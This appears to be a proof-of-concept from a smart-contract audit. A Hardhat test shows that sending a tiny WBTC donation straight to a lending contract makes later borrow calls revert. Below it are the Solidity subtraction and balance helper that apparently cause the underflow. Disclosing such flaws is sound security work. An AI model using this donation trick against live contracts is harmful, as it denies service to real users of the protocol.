it("poc", async () => {
    const amountWBTC = ethers.utils.parseUnits("0.05", 8); //token0
    const deadline = (await time.latest()) + 60;
    const minLeverageDesired = 50;
    const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);

    const loans = [
        {
            liquidity: nftpos[3].liquidity,
            tokenId: nftpos[3].tokenId,
        },
    ];

    const swapParams: ApproveSwapAndPay.SwapParamsStruct = {
        swapTarget: constants.AddressZero,
        swapAmountInDataIndex: 0,
        maxGasForCall: 0,
        swapData: swapData,
    };

    const params: LiquidityBorrowingManager.BorrowParamsStruct = {
        internalSwapPoolfee: 500,
        saleToken: WETH_ADDRESS,
        holdToken: WBTC_ADDRESS,
        minHoldTokenOut: amountWBTC,
        maxCollateral: maxCollateralWBTC,
        externalSwap: swapParams,
        loans: loans,
    };

    await borrowingManager.connect(bob).borrow(params, deadline);

    await WBTC.connect(alice).transfer(borrowingManager.address, ethers.utils.parseUnits("1", 1));

    const params2: LiquidityBorrowingManager.BorrowParamsStruct = {
        ...params,
        loans: [
            {
                liquidity: nftpos[4].liquidity,
                tokenId: nftpos[4].tokenId,
            },
        ],
    };

    await expect(borrowingManager.connect(bob).borrow(params2, deadline)).to.be.reverted;
});

uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;

 function _getBalance(address token) internal view returns (uint256 balance) {
        bytes memory callData = abi.encodeWithSelector(IERC20.balanceOf.selector, address(this));
        (bool success, bytes memory data) = token.staticcall(callData);
        require(success && data.length >= 32);
        balance = abi.decode(data, (uint256));
    }